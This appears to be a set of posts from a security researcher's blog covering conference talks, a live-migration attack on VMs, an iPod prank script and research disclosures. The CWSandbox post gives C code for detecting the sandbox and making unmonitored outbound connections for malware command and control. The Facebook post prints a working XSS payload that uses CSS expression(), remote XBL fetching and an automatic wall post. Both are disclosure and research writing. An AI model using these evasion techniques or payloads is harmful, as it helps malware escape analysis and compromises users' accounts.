iRolling an iPod

As opposed to an internet-based Rick Roll, iRolling your victim’s iPod will provide a lot more hilarity as you can actually observe the confusion of your victim when they put in their headphones and hear nothing but Rick Astley’s sweet melodies. Just ask to borrow your friend’s iPod for a few seconds or grab it off their desk when they’re not looking, plug it in to your machine via USB, and run the iRoll script.

Essentially, the iRoll script will replace every track on the victim’s iPod with any song of your choosing. However, the metadata of the song including the artist, title, album, duration, etc will stay the same, hiding the fact that anything has been altered. The end result is that the victim’s iPod appears normal and unmodified, but when they play any song, it will play the Rick Roll song instead.

The iRoll script works by loading up the iTunes DB on the iPod and copying over your desired track to the iPod. It then iterates through all of the existing tracks in the database and modifies their file paths to reference the newly added track. This allows the iRolling to happen in a matter of seconds since it’s simply changing the reference to the MP3 rather than overwriting every MP3 with the Rick Roll one.

Example run:

iRoll.py by Jon Oberheide <jon@oberheide.org>

[+] Loading iTunes database
[+] Adding Rick Roll track
[+] Copying Rick Roll track to iPod
[+] Linking all songs to Rick Roll track
[+] Writing out backup file for unRoll’ing
[+] Saving and closing iTunes database
[+] iRoll complete!!

unRolling an iPod

Thankfully, support to undo the Rick Roll is implemented as well, so that your victim will not lose all their music and/or kill you. During the initial iRoll, an index of the current tracks and their associated paths is collected and saved on the iPod. Therefore, when unRolling the iPod, the script simply loads the backup index and iterates through the track list, restoring the correct path for each track.

Example run:

unRoll.py by Jon Oberheide <jon@oberheide.org>

[+] Loading iTunes database
[+] Restoring original track paths in iTunes database
[+] Saving and closing iTunes database
[+] unRoll complete!!

Download

The scripts require libgpod’s Python bindings which should be available on most modern Linux distributions. There’s no reason it shouldn’t function on OS X or Windows as well assuming libgpod has been ported. Be sure that you have properly defined the MOUNT_POINT and RICK_ROLL paths before running the iRoll or unRoll scripts. MOUNT_POINT should be the path to the iPod’s current mount point and RICK_ROLL is the path to the desired MP3.

• iRoll.py
• unRoll.py
• rickroll.mp3

Presentations of Interest

Cracking GSM
David Hulton and Steve
Pico Computing, Inc.

David and Steve’s presentation on GSM cracking definitely received the most attention of the briefings.  While the A5/1 GSM cipher has seen its share of attacks in the past, the presenters showed how it could be cracked with a price tag accessibile to the average joe.  Using about $1000 worth of equipment including a USPR (Universal Software Radio Peripheral) to capture the encrypted streams and FPGAs to do the actual cracking, they demonstrated that the A5/1 cipher could be cracked in about half an hour.  Scaling the system up with more FPGAs results in even faster cracking time.  Fun stuff, I need to get my hands on a USPR ASAP.

• Presentation
• Whitepaper
• Movie

Side Channel Analysis on Embedded Systems
Job DeHaas
Riscure

Job from Riscure presented some slick demos of side channel attacks on embedded devices.  Side channel attacks are well-known throughout the crypto community but Job kept it interested by detailing some of the trends observed as tamper resistance is becoming more prevalent in consumer devices.  The neat part was getting to see the actual sensor device used to monitor the side channel and feed the leaked information to the box doing the analysis.  Apparently the new FIPS 140-3 certification standard will require some level of resistance against side channel attacks.

• Presentation

SCADA Security
Jason Larsen
IOActive, Inc.

The best presentation, in my opinion, was Jason Larson’s from IOActive on SCADA security.  Unlike all the other uninformed, full-of-hype, dooms-day, live-free-or-die-hard SCADA presentations I’ve seen, this one came from someone who dealt with the systems day-to-day for the past five years.  After smashing a bunch of SCADA myths through some entertaining Hollywood clips, the rest of the presentation focused on how physical damage can realistically be achieved through an attack on a SCADA system.  Jason also let out a few interesting gems about existing SCADA attacks that have happened but were not publically announced.  Apparently, there’s been at least four cases of extortion where an attacker gained control over a SCADA control system and demanded payment.  And, in all four cases, the attacker was paid out.  Also included was the video leaked from DHS showing a huge generator literally jumping off the ground and spewing out steam after an attack.

• Presentation

A Trip Down Memory Lane

If you take a look back at the past few years, we’ve seen a systematic breaking down of isolation boundaries within our computing platforms as new technologies such as virtualization are employed.

We started with physical machines running a single operating system.  The state of the machine was protected by hardware mechanisms such as the MMU.  However, attacks were still possible against this model, such as physically plugging in a rogue firewire device and DMA’ing into physical memory.

As virtualization entered the scene, the state of a machine was no longer protected by hardware, but by a software layer, namely the hypervisor/VMM.  As we’ve seen numerous times, the isolation mechanisms enforced by the hypervisor are often broken due to vulnerabilities in the software, resulting in a VM being able to modify the state of another VM under the same hypervisor.

With the introduction of live migration of virtual machines, we have brought the weakening of isolation boundaries protecting machine state to a whole new level.  Using the migration functionality implemented by vendors such as VMware and Xen now exposes the entire machine state of a VM to the network.  Now, instead of physical access or access to a VM sharing a hypervisor of the target VM to perform an attack, an attacker simply needs snoop on a network where these migrations are occurring.  Exposing this information to the network without authentication or confidentiality guarantees represents a significant security risk.

Exploiting Live Migrations

Live migration is an incredibly useful feature and natural extension to virtualization platforms that allows for the transfer of a virtual machine from one physical machine to another with little no or downtime of the services hosted by the virtual machine.  To put it simply, a live migration transfers the working state and memory of a virtual machine across the network.

The security of a virtual machine migration hinges on the migration data plane, or the network transit path of which the migration occurs.  If this data plane is insecure or unauthentication, an attacker on the network may gain access to the migration, allowing access to the full state of the virtual machine including the operating system kernel, applications and services run within the operating system, and the sensitive data currently being used by those applications.  Unfortunately, in both the virtualization offerings by VMware and Xen, insecure migrations are employed allowing an attacker to compromise the integrity of the virtual machines being migrated.

To demonstrate attacks against live migration, we implemented a proof of concept tool called Xensploit.  Despite its name, it is effective against both VMware and Xen migrations.  During the Black Hat presentation, we will detail several classes of attacks including userspace application exploits, backdoors via kernel manipulation, and virtual machine based rootkits (VMBRs).  In addition, we’ll demonstrate how a VM migration can be manipulated by a malicious party in order to exploit vulnerabilities in the Xen VMM and subvert the hypervisor.

Deployment Risks

The primary goal of my presentation at Black Hat is to raise awareness of these weaknesses in current virtualization offerings from major vendors.  IT administrators employing virtualization and live migration functionality need to be aware of the risks associated with such deployments and take the appropriate steps to achieve adequate isolation and secure their infrastructure.  Virtualization and, in particular, the live migration of virtual machines represent significant advancements in computing and management capabilities, but much care must be taken to properly implement the appropriate security mechanisms by both the vendors and the enterprises deploying the software.

Materials Update

The materials of my Black Hat presentation are now available:

• Presentation:  http://jon.oberheide.org/files/blackhat08-migration-pres.pdf
• Whitepaper:  http://jon.oberheide.org/files/blackhat08-migration.pdf

Introduction to CWSandbox

CWSandbox is a platform developed by Sunbelt Software to automate the analysis of malware samples inside a controlled environment. It generates detailed reports of the runtime behavior of malware by monitoring the Win32 API calls a sample makes during its execution. In order for sandboxed environments such as CWSandbox to maintain their utility and accurately analyze modern malicious threats, it is imperative that they are hardened and resiliant against detection and fingerprinting. To detect the presence of CWSandbox, several vectors of detection of worthy of consideration:

1. Environment: Artifacts of the host environment in which CWSandbox runs may be used to detect its presence. For example, CWSandbox is most frequently ran inside a virtual machine such as VMware or Xen. Existing techniques to detect virtualized environments can be employed by malware. In addition, CWSandbox supports Faronic’s DeepFreeze which may be identified as a suspicious environmental artifact by a malware sample under analysis.
   
   
2. API Hooking: The API hooking mechanism used by CWSandbox presents another detection vector. Specifically, CWSandbox employs the MadCodeHook package for its hooking routines. MadCodeHook implements multiple userspace hooking mechanisms dependent on the OS version being hooked such as inline function hooking (jmp insertion) and IAT/EAT patching. These hooking mechanisms can be detected and evaded in many circumstances.
   
   
3. CWSandbox itself: The processes, services, injected DLLs, registry keys, mutexes, and other attributes related to the CWSandbox platform may be enumerated and identified to discover the presence of the sandboxed environment. CWSandbox employs defensive mechanisms to hide its presence from sophisticated malware, but as we will see, these mechanisms are easily bypassed.

While there exist numerous methods to detect and evade environments such as CWSandbox, we will explore one of the more simple mechanisms that requires very little code and expertise to perform.

Detecting CWSandbox

As previously mentioned, CWSandbox employs some defensive measures to hide the presence of its software from the malware sample being analyzed to reduce the chance of it being fingerprinted. Unfortunately, these defenses are implemented using the same userspace API hooking mechanism as CWSandbox’s monitoring functionality as opposed to a more sophisticated approach such as using a kernel device driver. Therefore, if the API hooking mechanism can be subverted, we can trivially detect the CWSandbox environment.

One simple method to subvert the API hooking mechanism and execute non-hooked functions is to copy the DLL containing the desired function and load it dynamically into the processes address space using LoadLibrary with an alternate module name. To automate this process, we define a helper function called LoadDLL:

HMODULE
LoadDLL(LPCTSTR module)
{
    HMODULE hmod;
    TCHAR sys[MAX_PATH], cwd[MAX_PATH], dll[MAX_PATH], src[MAX_PATH], dst[MAX_PATH];
    GetSystemDirectory(sys, MAX_PATH);
    GetCurrentDirectory(MAX_PATH, cwd);
    StringCchPrintf(dll, MAX_PATH, TEXT(”b0rked-%s”), module);
    StringCchPrintf(src, MAX_PATH, TEXT(”%s\\%s”), sys, module);
    StringCchPrintf(dst, MAX_PATH, TEXT(”%s\\%s”), cwd, dll);
    CopyFile(src, dst, FALSE);
    hmod = LoadLibrary(dll);
    return hmod;
}

After the alternate DLL is loaded into memory, we can use the GetProcAddress function to retrieve the address of a desired function and call it. For example, to call the unhooked version of a fake function, FakeFunction from fake.dll, we would do the following:

HMODULE fake = LoadDLL("fake.dll");
FARPROC _FakeFunction = (FARPROC) GetProcAddress(fake, "FakeFunction");
_FakeFunction(...);

Now that we have the ability to call functions in a manner that will not be hooked by CWSandbox, we can go about detecting its presence with impunity. One glaring fingerprint of CWSandbox’s presence is the CWMonitor DLL that is injected into every monitored process. Usually the CWMonitor DLL is excluded from the list obtained by EnumProcessModules by CWSandbox’s defensive measures but since we are calling the unhooked version, we can obtain the unfiltered list of loaded modules. The following code enumerates the loaded DLL modules of the current process and checks for the presence of CWMonitor.dll:

HMODULE psapi = LoadDLL(_T("psapi.dll"));
ENUMPM _EnumProcessModules = (ENUMPM) _GetProcAddress(psapi, "EnumProcessModules");

h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, GetCurrentProcessId());

if (_EnumProcessModules(h, mods, sizeof(mods), &num)) {
    for (unsigned int i = 0; i < (num / sizeof(HMODULE)); ++i) {
        if (GetModuleFileNameEx(h, mods[i], name, sizeof(name)/sizeof(TCHAR))) {
            if (wcsstr(name, _T(”CWMonitor.dll”)) != NULL) {
                /* CWSandbox detected! */
                printf(”CWSandbox detected!\n”);
                return 1;
            }
        }
    }
}
CloseHandle(h);

Evading CWSandbox

Just as we loaded the EnumProcessModules function to detect CWSandbox using LoadDLL and GetProcAddress, we can also load any arbitrary functions that we wish to use to disguise the real activity of the sample being analyzed. For example, a piece of malware may wish to hide the detailed network information of it’s command and control server that it connects back to during execution. The following example shows how a sample could set up a socket and connect out to the internet while evading CWSandbox’s monitoring mechanisms:

HMODULE ws2_32 = LoadDLL(_T("ws2_32.dll"));
WSASTART _WSAStartup = (WSASTART) _GetProcAddress(ws2_32, "WSAStartup");
WSASOCK _WSASocketW = (WSASOCK) _GetProcAddress(ws2_32, "WSASocketW");
WSACONN _connect = (WSACONN) _GetProcAddress(ws2_32, "connect");

memset(&sa, 0, sizeof(sa));
memcpy(&sa.sin_addr, "\x48\x0e\xcf\x63", 4);
sa.sin_family = AF_INET;
sa.sin_port = htons(80);

/* evade CWSandbox and make undetected outgoing network connection */
_WSAStartup(MAKEWORD(2, 0), &info);
s = _WSASocketW(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
_connect(s, (struct sockaddr *)&sa, sizeof sa);

(Actually, CWSandbox has a great feature to capture all network activity via WinPcap/NDIS so this network connection would still be recorded in the PCAP dump, but you get the idea).

Source Files

Here are the full source files for the examples presented here:

• cw-detect.cpp
• cw-evade.cpp

The xkcd Comic

Our System

The system pictured is a production version of an architecture we proposed last year at HotSec ‘07 (paper, presentation), essentially a network-based AV service.  The backend analysis system consists of Xen-based virtualized containers which host various detection engines.  Candidate executables/files are acquired by a lightweight host-agent (hooking CreateProcess on Win32, Dazuko on Linux/BSD, etc) and transmitted to the backend for analysis by a bajillion (ok, maybe only 12) antivirus and behavioral engines.  We currently employ antivirus engines from Avast, AVG, BitDefender, ClamAV, F-Prot, F-Secure, Kaspersky, McAfee, Symantec and Trend Micro.  We also have two behavior engines, Norman Sandbox Analyzer and CWSandbox, to provide runtime behavioral profiles for candidate executions.  This model has numerous advantages including significantly increased detection coverage, centralized management, and post-infection forensics.  The photo shows our beautiful 52″ LCD screen displaying the output of the various Xen VMs hosting the detection engines and the real-time detection results of the analysis of a malware sample.

FBML XSS Vulnerabilities

Given that Facebook seems to roll out tons of new functionality all the time without proper security testing and auditing, I was sure there had to be at least a few holes. I finally got the motivation to do some bug hunting while at USENIX Security, where I met a student, Adrienne Felt, from University of Virginia who was presenting at the poster session about an XSS vuln she had found in Facebook. As she wasn’t releasing any specific technical details about the vulnerability since it was not yet patched, I found that motivation enough to head back to my hotel and hack on Facebook for the night to see if I could re-discover the hole she had found. In just a couple hours, I had discovered an XSS vulnerability, which I found out the next day was actually different that the one she had discovered.

The XSS vulnerabilities were present in the fb:swf functionality of the Facebook Markup Language. The Facebook Markup Language (FBML) is a set of custom defined tags that allow application developers to display various types of content to the users without allowing the execution of Javascript. The FBML tags are preprocessed by Facebook, converted to the appropriate html entities, and then output to the user. While most of the tags were filtered properly, several attributes of the fb:swf tag, which lets people embed flash swf’s in their applications, were unsanitized. Two vulnerabilities were present in the fb:swf tag, one related to the imgstyle attribute (discovered by Adrienne) and the other related to the onmouseover attribute (discovered by yours truly).

Exploit Payload

I created a simple Facebook application to host the proof-of-concept code and demonstrate the vulnerability. The exploit originally used the onmouseover vulnerability but I switched it over to Adrienne’s imgstyle attribute after Facebook patched my exploit vector.

Here is the exploit code:

<fb:swf imgsrc="http://jonojono.eecs.umich.edu/test.gif"
swfsrc="http://jonojono.eecs.umich.edu/test.swf" waitforclick="true"
imgstyle="background-color: expression(eval(unescape('ENCODED JS HERE')));
background-repeat: expression(this.style.background-color='');" />

In order to sneak the code past Facebook’s sanitation filters and allow the attack to function against multiple browsers, a few tricks were needed:

For IE browsers, the CSS expression() function allows the execution of arbitrary Javascript. The Javascript payload needed to be encoded to allow for special characters and avoid the JS filters. At runtime, IE evaluates the expression function which will unescape the encoded javascript and pass it to eval() to execute it. In addition, as the expression() CSS function is continually evaluated, another dummy attribute (background-repeat) is added to reset the background-color attribute after the first execution to avoid executing the Javascript over and over.

For Mozilla browsers, the -moz-binding attribute can be used to fetch remote XBL content and execute embedded Javascript. for example, using the following:

style="-moz-binding: url(http;//jonojono.eecs.umich.edu/fb-xss.xml);"

will fetch and execute the remore content. Example contents of fb-xss.xml:

<bindings><binding id="exploit"><implementation><constructor>
/* insert javascript here */
</constructor></implementation></binding></bindings>

The example exploit I created delivered the following benign Javascript payload:

var form = document.getElementById('wall_post_form');
form.text.value = 'i heart jon o...and his automatic wall posts!';
ajax_wall_post(ge('wall_post_form'), ge('wall_posts'));

Very short and simple, thanks to Facebook’s provided AJAX functions. In this proof-of-concept, as soon as someone visited my profile, it would automatically post to my wall with the included message. It was definitely interesting seeing how many random people visit your profile for no apparent reason every day.

XSS Worms

Besides simple, benign actions like automatically posting on a wall, much more malicious attacks are obviously possible. It is possible to perform any action a Facebook user would normally be able to perform, but in an automated and silent manner without their knowledge. Imagine a malicious application hosted on your profile that automatically added itself to anyone’s profile who view their page. Then anyone viewing that victim’s page would also be infected with the malicious application, resulting in a rapid worm-like spreading behavior.

It’s only a matter of time before we see a similar XSS hole exploited on Facebook on a large-scale basis for malicious purposes similar to the Myspace phishing worm. Hopefully, in the future, Facebook will do a better job in auditing their new functionality for vulnerabilities to prevent such a scenario.

Hotsec 2007 Workshop

At HotSec, I presented our paper titled “Rethinking Antivirus: Executable Analysis in the Network Cloud”. The abstract follows:

Antivirus software installed on each end host in an organization has become the de-facto security mechanism used to defend against unwanted executables. We argue that the executable analysis currently provided by host-based antivirus software can be more efficiently and effectively provided as an in-cloud network service. Instead of running complex analysis software on every end host, we suggest that each end host run a lightweight process to acquire executables entering a system, send them into the network for analysis, and then run or quarantine them based on a threat report returned by the network service. An executable analysis service run inside an enterprise network or by a service provider could integrate antivirus software, behavioral simulation, and other analysis engines from multiple vendors providing better detection of malware and simplify client software enabling deployment on a broader range of devices. To explore this idea we construct a prototype composed of a Windows based host agent and an in-cloud analysis service and evaluate it using a diverse dataset of 5066 unique malicious executables. By correlating information between multiple detection engines, our system provides over 98% detection coverage of the malicious executables using eight antivirus engines and two behavioral engines compared to a 54% to 86% detection rate using the latest commercial antivirus products.

Both the paper and presentation are available in PDF format.

WOOT 2007 Workshop

The work presented at WOOT was by far the most interesting of the three events. I suppose I’m just a sucker for more technical and practical research. Papers of interest:

Exploiting Concurrency Vulnerabilities in System Call Wrappers
Robert N. M. Watson, Computer Laboratory, University of Cambridge

Robert Watson, of FreeBSD fame, presented weaknesses in syscall wrapping frameworks, leading to an evasion of the access control and auditing functionality they were designed to provide. Robert found that systems such as GSWTK and Systrace are vulnerable to TOCTOU-like concurrency issues in syscall arguments. This also affects other systems such as the Systrace-based sysjail, allowing a malicious user to break out of the jail due to bind(2) races.

Flayer: Exposing Application Internals
Will Drewry and Tavis Ormandy, Google, Inc.

Will’s Flayer tool looks great for quick-and-dirty fuzzing sessions. Flayer, based on the Valgrind framework, allows for taint tracking from multiple input sources and conditional jump modification to get past those annoying sanity checks in your fuzzing target. Flayer absolutely tore apart libtiff and also discovered a NULL deref in OpenSSL.

BlueSniff: Eve Meets Alice and Bluetooth
Dominic Spill and Andrea Bittau, University College London

While a lot of bluetooth attacks have been explored in the past, I was particularly interested in Dominic’s work since he was using a USRP (Universal Software Radio Peripheral) with the GNU Radio framework, resulting in an attack that is possible on much more affordable hardware.

USENIX Security 2007

A couple papers of interest that caught my attention during the USENIX Security conference:

Language Identification of Encrypted VoIP Traffic: Alejandra y Roberto or
Alice and Bob?
Charles V. Wright, Lucas Ballard, Fabian Monrose, and Gerald M. Masson, Johns
Hopkins University

Gotta love the work of Fabian’s group on VBR-encoded VoIP traffic. The timing characteristics of the encrypted RTP streams allows for decently accurate identification of the language being spoken in the VoIP conversation. Pretty neat stuff, I’m definitely interested in seeing some of the future work on conversation reconstruction that Fabian has hinted at.

OSLO: Improving the Security of Trusted Computing
Bernhard Kauer, Technische Universitat Dresden

Bernhard not only demostrated design and implementation bugs in several TPM-enabled bootloaders and detailed TPM reset and BIOS attacks against trusted computing platforms, but also implemented OSLO, a secure bootloader making use of the senter/skinit instructions on modern CPUs. I wasn’t able to catch Bernhard’s presentation but had previously read the paper and was happy to see it was accepted at USENIX Security.

Ok, so it’s a bit of a stretch, but I couldn’t help but stop and take a picture when I saw the sign while driving down Stadium Blvd. Perhaps it would be a bit more convincing if I photoshopped out the “T”…

Characterizing Dark DNS Behavior

The research I presented at DIMVA focused on the measurement of dark DNS, or the DNS queries associated with darknet addresses. Evidence of dark DNS activity has important implications with regards to darknet sensor deployments. Misconfiguration or improperi delegation of reverse DNS authority for darknet monitoring systems may allow evasion by an attacker via DNS reconnaissance. We characterized the dark DNS activity observed on a large operational network and presented a lightweight tool to complement existing network sensors and low-interaction honeypots by providing simple DNS services.

Both the paper and presentation are available in PDF format.

Other Papers of Interest

A Study of Malcode-Bearing Documents
Wei-Jen Li, Salvatore Stolfo, Angelos Stavrou, Elli Androulaki and Angelos Keromytis

A look at statistical static analysis techniques and their effectiveness in detecting malicious code in complex modern document formats, specifically Microsoft Word documents. As we’ll undoubtedly see increasing numbers of attacks against applications which parse complex data containers such as media and document formats, this is an important area of research.

On the Effectiveness of Techniques to Detect Phishing Sites
Christian Ludl, Sean McAllister, Engin Kirda and Christopher Kruegel

Ludl et al. evaluated the effectiveness of existing blacklist-based approaches to preventing phishing attacks. They tested the blacklists provided by Google and Microsoft against a list of 10,000 phishing URLs and found that Google identified over 90% of the URLs. I personally find this result interesting as a ton of work has been done developing phishing heuristics based on the structure of the page, content, URIs, and other attributes. These complex heuristics are often inferior and more prone to false positives than a simple provider-based blacklist. KISS.

Pictures

Somewhere between Zurich and Milan

Graffiti in Milan, Italy

Train station in Zurich, Switzerland

Checksum Control

Many modern NICs provide both TX and RX checksum offloading for TCP and other protocols. This offloading functionality may cause the BPF tap utilized by libnids to observe packets with incorrect checksums, and drop legitimate packets during their processing, believing them to be invalid due to the incorrect checksum.

Thankfully, libnids provides a configuration options to control the TCP checksum behavior for arbitrary source addresses. Unfortunately, the current version of the pynids wrapper interface does not expose this option and has not been updated since January 2005. After running into this issue when whipping up a one-off tool with pynids, I decided to release an updated version of the pynids wrapper, 0.5a, to address the limitation.

In addition to the new checksum control functionality, the bundled libnids library has been updated from 1.19 to 1.21. More information on the updated 0.5a release and the tarball download is available here.

External Links

• Updated pynids 0.5a release
• Original pynids website